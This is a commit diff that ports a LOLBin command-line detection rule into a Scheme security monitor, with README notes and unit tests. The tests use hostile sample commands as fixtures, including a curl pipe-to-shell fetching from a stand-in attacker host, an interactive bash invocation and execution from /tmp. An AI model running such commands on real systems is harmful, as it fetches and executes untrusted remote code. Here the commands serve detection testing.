correlate Rule 11: port detect_lolbin_cmdline into lolbin.ss

ober

b9fd138fbdb55835c773446e27bd2b1c1b0ad99b

diff --git a/README.md b/README.md
index 103ddcb..a5c118e 100644
--- a/README.md
+++ b/README.md
@@ -101,7 +101,7 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `dga::score_domain`      | `typed/dga.ss`     | ✅ full: lowercase + dot-trim + benign-suffix + label split + score; vectors pass (diagnostic `reasons` list pending) |
 | `&str` ops (lowercase/ends_with/starts_with/contains/split/whole-word) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma |
 | `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets, plus `match-bits` (a u64 bitmask of which patterns fired, bit 0…24 in PATTERNS order) so the diagnostic breakdown needs no second copy of the matchers; vectors pass (JSON-cmdline parse stays in untyped wrapper) |
-| `lolbin::LolScore` (match breakdown + JSON) | `jsecmon/lolbin.ss` | ✅ **untyped layer** — the diagnostic companion to the typed kernel: `score-cmdline` returns a `lol-score` (total from `lolbin-score-cmdline`, per-pattern `matches` decoded from `lolbin-match-bits` against a static label/score/explanation table — data, not logic), `score-json-cmdline` adds the JSON-array parse (falls back to the raw string like `from_str::<Vec<String>>`), `lol-severity`/`lol-label-summary` mirror the Rust methods. No matcher is re-implemented, so total and matches can't drift. `make lolbin-check` runs secmon's 10 `#[test]` vectors plus exact-total, label-order, and bit↔label pins. |
+| `lolbin::LolScore` (match breakdown + JSON) | `jsecmon/lolbin.ss` | ✅ **untyped layer** — the diagnostic companion to the typed kernel: `score-cmdline` returns a `lol-score` (total from `lolbin-score-cmdline`, per-pattern `matches` decoded from `lolbin-match-bits` against a static label/score/explanation table — data, not logic), `score-json-cmdline` adds the JSON-array parse (falls back to the raw string like `from_str::<Vec<String>>`), `lol-severity`/`lol-label-summary` mirror the Rust methods. No matcher is re-implemented, so total and matches can't drift. Rule 11 `detect-lolbin-cmdline` (`storage::detect_lolbin_cmdline`) also lives here rather than in `correlate.ss` — it's the one correlation rule that needs the native scorer, so hosting it beside `score-json-cmdline` keeps `correlate.ss` kernel-free: it scores each `process_start` row's cmdline (row `(host ts pid proc-name cmdline exe)`), skips rows whose cmdline **and** exe are both empty (Rust `continue`), and emits a `suspicious_cmdline` anomaly seed for totals ≥50 (`pname` falls back to `"?"`). `make lolbin-check` runs secmon's 10 `#[test]` vectors plus exact-total, label-order, bit↔label pins, and the Rule-11 threshold/skip/`"?"`-fallback edges (41 cases). |
 | `analytics::compute_host_risks` | `typed/analytics.ss` | ✅ risk-score kernel (clamped weighted sum); vectors pass |
 | `analytics` grouping + `group_incidents` | `jsecmon/analytics.ss` | ✅ **untyped layer** — per-host accumulation/sort/top-N driving the risk-score kernel, plus incident dedup/collapse; secmon analytics vectors pass (`make analytics-check`) |
 | `storage::detect_sequence_pair` (kill-chain core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure pairing primitive behind `detect_priv_escalation_chain`/`lateral_after_shell`/`persistence_after_access`/`log_cover`: given two event streams as `(host . ts-ms)` lists (the SQL `ORDER BY host,timestamp_ms` fetch is deferred I/O), pair each A with the **first** same-host B strictly later and within `window-ms` — at most one per A (Rust's inner `break`) — returning `((host …) (a-ts …) (b-ts …) (gap-seconds …))` for the caller to wrap as an Anomaly (`format_ts` is calendar-deferred). `gap-seconds` is integer ms/1000 (Rust i64 `/`). `make analytics-check` adds window-edge (≤ inclusive), strictly-later, cross-host, first-B-only, multi-A, and empty-stream cases. |
diff --git a/examples/lolbin_check.ss b/examples/lolbin_check.ss
index d51a5a9..a86a0e3 100644
--- a/examples/lolbin_check.ss
+++ b/examples/lolbin_check.ss
@@ -92,6 +92,49 @@
 (check "60 -> high"      (lol-severity (make-lol-score 60 '())) "high")
 (check "100 -> critical" (lol-severity (make-lol-score 100 '())) "critical")
 
+;; ── detect-lolbin-cmdline: Rule 11 over a row list (storage/mod.rs:1721) ──────
+;; row = (host ts pid proc-name cmdline exe); cmdline scored via score-json-cmdline.
+(displayln "detect-lolbin-cmdline:")
+(def (a-rule a) (cdr (assq 'rule a)))
+(def (a-desc a) (cdr (assq 'description a)))
+(def (a-sev a)  (cdr (assq 'severity a)))
+(def (a-ts a)   (cdr (assq 'timestamp-ms a)))
+(def (a-dval a k) (cdr (assq k (cdr (assq 'details a)))))
+
+(def dl
+  (detect-lolbin-cmdline
+    (list (list "h1" 1000 4242 "bash" "curl https://attacker.example/x | sh" "/usr/bin/bash"))))
+(check "one >=50 cmdline -> 1 anomaly" (length dl) 1)
+(check "rule"     (a-rule (car dl)) "suspicious_cmdline")
+(check "severity" (a-sev (car dl)) "high")
+(check "ts preserved" (a-ts (car dl)) 1000)
+(check "description"
+       (a-desc (car dl))
+       "'bash' on h1 matched LOLBin patterns [pipe-to-shell] (score 70)")
+(check "score detail"  (a-dval (car dl) 'score) 70)
+(check "labels detail" (a-dval (car dl) 'labels) '("pipe-to-shell"))
+(check "pid detail"    (a-dval (car dl) 'pid) 4242)
+
+;; threshold is >=50: exec-from-tmp scores exactly 50 (see above) -> fires
+(check "exactly 50 -> fires"
+       (length (detect-lolbin-cmdline
+                 (list (list "h1" 2000 1 "payload" "./payload" "/tmp/payload")))) 1)
+;; a lone interactive-shell-flag (25) is below threshold -> no anomaly
+(check "below 50 -> none"
+       (length (detect-lolbin-cmdline
+                 (list (list "h1" 3000 1 "bash" "bash -i" "/bin/bash")))) 0)
+;; both cmdline and exe empty (None) -> skipped (Rust `continue`)
+(check "empty cmdline+exe -> skipped"
+       (length (detect-lolbin-cmdline (list (list "h1" 4000 1 "proc" #f #f)))) 0)
+;; missing process_name -> pname "?" fallback in description and details
+(def dq
+  (detect-lolbin-cmdline
+    (list (list "h1" 5000 #f #f "curl https://attacker.example/x | sh" "/usr/bin/bash"))))
+(check "missing proc-name -> '?' in description"
+       (a-desc (car dq))
+       "'?' on h1 matched LOLBin patterns [pipe-to-shell] (score 70)")
+(check "process-name detail '?'" (a-dval (car dq) 'process-name) "?")
+
 (newline)
 (if (= fails 0)
     (displayln "OK: lolbin matches secmon's lolbin.rs behaviour.")
diff --git a/jsecmon/lolbin.ss b/jsecmon/lolbin.ss
index 6b0f64e..23e7946 100644
--- a/jsecmon/lolbin.ss
+++ b/jsecmon/lolbin.ss
@@ -19,7 +19,8 @@
   (export make-lol-score lol-score? lol-score-total lol-score-matches
           make-lol-match lol-match? lol-match-label lol-match-score
           lol-match-explanation
-          score-cmdline score-json-cmdline lol-severity lol-label-summary)
+          score-cmdline score-json-cmdline lol-severity lol-label-summary
+          detect-lolbin-cmdline)
   (import (except (chezscheme)
                   make-hash-table hash-table?
                   sort sort!
@@ -123,4 +124,43 @@
 
   ;; comma-separated label list for one-line display (Rust label_summary).
   (def (lol-label-summary s)
-    (string-join (map lol-match-label (lol-score-matches s)) ",")))
+    (string-join (map lol-match-label (lol-score-matches s)) ","))
+
+  ;; Detection Rule 11: score every process_start cmdline; total >=50 fires a
+  ;; suspicious_cmdline anomaly carrying the contributing labels. Row contract:
+  ;; (host ts pid proc-name cmdline exe) — host/ts required, pid integer|#f,
+  ;; proc-name/cmdline/exe string|#f (None). Rows with both cmdline and exe
+  ;; empty are skipped (Rust `continue`). Mirrors storage/mod.rs
+  ;; detect_lolbin_cmdline; the SQL fetch + Anomaly calendar fields are the
+  ;; caller's (deferred) boundary.
+  (def (lol-anomaly host ts pid proc-name cmdline-raw exe lol)
+    (let ((pname (if (string? proc-name) proc-name "?"))
+          (total (lol-score-total lol))
+          (labels (lol-label-summary lol)))
+      (list (cons 'rule "suspicious_cmdline")
+            (cons 'description
+                  (str "'" pname "' on " host " matched LOLBin patterns ["
+                       labels "] (score " total ")"))
+            (cons 'severity (lol-severity lol))
+            (cons 'timestamp-ms ts)
+            (cons 'host host)
+            (cons 'details
+                  (list (cons 'process-name pname)
+                        (cons 'pid pid)
+                        (cons 'exe exe)
+                        (cons 'cmdline cmdline-raw)
+                        (cons 'score total)
+                        (cons 'labels (map lol-match-label (lol-score-matches lol)))
+                        (cons 'matches (lol-score-matches lol)))))))
+
+  (def (detect-lolbin-cmdline rows)
+    (filter-map
+     (lambda (r)
+       (let* ((host (car r)) (ts (cadr r)) (pid (caddr r))
+              (proc-name (cadddr r))
+              (cmdline-raw (or (list-ref r 4) "")) (exe (or (list-ref r 5) "")))
+         (and (not (and (string-empty? cmdline-raw) (string-empty? exe)))
+              (let ((lol (score-json-cmdline cmdline-raw exe)))
+                (and (>= (lol-score-total lol) 50)
+                     (lol-anomaly host ts pid proc-name cmdline-raw exe lol))))))
+     rows)))